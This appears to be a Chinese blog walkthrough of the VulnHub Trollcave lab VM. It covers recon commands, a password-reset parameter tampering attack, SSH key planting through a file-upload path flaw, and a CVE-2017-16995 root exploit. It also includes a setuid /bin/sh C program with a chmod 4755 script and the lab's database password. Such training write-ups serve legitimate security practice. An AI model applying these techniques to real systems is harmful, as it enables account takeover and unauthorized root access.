vulnhub靶场Trollcave

0x000 靶场描述


Trollcave是一个易受攻击的VM,在Vulnhub和信息安全战争游戏的传统中。你从一个你一无所知的虚拟机开始。没有用户名,没有密码,只是你可以在网络上看到的东西。在这种情况下,您将看到一个简单的社区博客网站,其中包含一群用户。从这个初始点开始,您将枚举计算机的运行服务和一般特征,并设计通过查找和利用漏洞和错误配置来完全控制它的方法。
您的第一个目标是滥用计算机上的服务来获取未经授权的 shell 访问权限。您的最终目标是读取用户主目录中的文本文件)。root/flag.txt


0x001 靶场下载


https://www.vulnhub.com/entry/trollcave-12,230/


0x002 信息收集


探测存活主机

netdiscover -r 192.168.1.0/24

端口扫描

nmap -sS -sV -A -p 1-65535 192.168.1.106

访问网站,发现有密码重置漏洞,并且还给了一个password_resets目录,访问之后发现拒绝访问,尝试目录扫描。

目录扫描

dirsearch -u http://192.168.1.106/


0x003 漏洞利用


密码重置漏洞

访问 http://192.168.1.102/password_resets/new 会来到密码重置页面,尝试重置xer用户密码。

访问 http://192.168.1.102/password_resets/edit.b4vwNXs2bz9dWJGAaqc1Cw?name=xer 填写密码即可重置成功。

然后进行登陆xer用户,查找可以getshell的地方,找到一个文件上传,但是权限不够。。

在users用户界面发现 king 是管理员用户,尝试重置密码。

按照上面的操作,重置king用户的密码,但是没权限,然后尝试将 http://192.168.1.102/password_resets/edit.b4vwNXs2bz9dWJGAaqc1Cw?name=xer 改为 http://192.168.1.102/password_resets/edit.b4vwNXs2bz9dWJGAaqc1Cw?name=king 访问之后,发现可以重置密码,成功登陆king管理员账号。

文件上传漏洞

然后准备上传文件getshell,但是显示没权限,查看设置里面是否没有开启;发现没有开启,打开后可以正常上传。

上传一个php木马文件,成功上传,但是没有解析。抓包分析,发现上传的文件可以更改路径,因为开启了22端口,可以上传一个公钥文件,从而getshell。

kali生成密钥,然后上传到目标文件夹下;但是不知道网站的用户是什么。。。查看网站发现了如下用户rails,并且在 https://github.com/rails/rails 发现了网站源码,此网站安装时会默认创建一个rails用户。

ssh-keygen -f rails
mv rails.pub authorized_key

ssh远程登陆

mv rails id_rsa-rails 
chmod 600 id_rsa-rails
ssh -i id_rsa-rails rails@192.168.1.102


0x004 提权


cve-2017-16995 提权

cat /etc/lsb-release 查看当前系统版本

在kali使用命令 searchsploit Ubuntu 14.04 查找 Ubuntu 14.04 版本相关漏洞

在本地对漏洞利用exp进行编译,然后使用wget上传到目标机,赋予执行权限,成功提权到root权限。

通过其他方式提权

查看网络信息,发现存在PostgreSQL数据库5432端口和node服务8888端口,并且只允许本地访问。

查看网站的配置目录,发现里面有数据库的配置文件,查看发现了数据库的账号密码
username: tc
password: sowvillagedinnermoment

sqlite3 信息搜索,查看所有用户,但是好像没什么用,暂时先放一放。

登陆PostgreSQL数据库

Shift + ~ + C 打开ssh开启5432本地转发

成功登陆PostgreSQL数据库,但是表里面没有信息。

Shift + ~ + C 打开ssh开启8888本地转发,查看8888端口页面是什么。

burpsuite抓包,发现可以执行命令,但是命令来源于calc

使用 find / -name calc -print 2>&1 | grep -v 'Permission denied' 命令查找calc

分析源代码,发现 var exec = require('child_process').exec; 这一句可以执行命令;但是不能直接返回执行命令的结果,只会返回一个对象;因此尝试读取文件内容写入到文件,但是发现不能写入,但是用户变了。

此时可以创建一个exp文件,然后上传到目标机,利用命令执行让他隶属king用户

这里要将setreuid改为king的用户id

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
    setreuid(1000,1000); 
    execve("/bin/sh",NULL,NULL);
}

使用wget上传,然后在目标机新建1.sh文件

#!/bin/sh

cp /tmp/exp /home/king/exp
chmod 4755 /home/king/exp

这里一定要赋予4755权限

运行exp,成功提权到root权限。


0x005 查找flag


posted @ 2022-11-17 21:45  Cx330Lm  阅读(68)  评论(0编辑  收藏  举报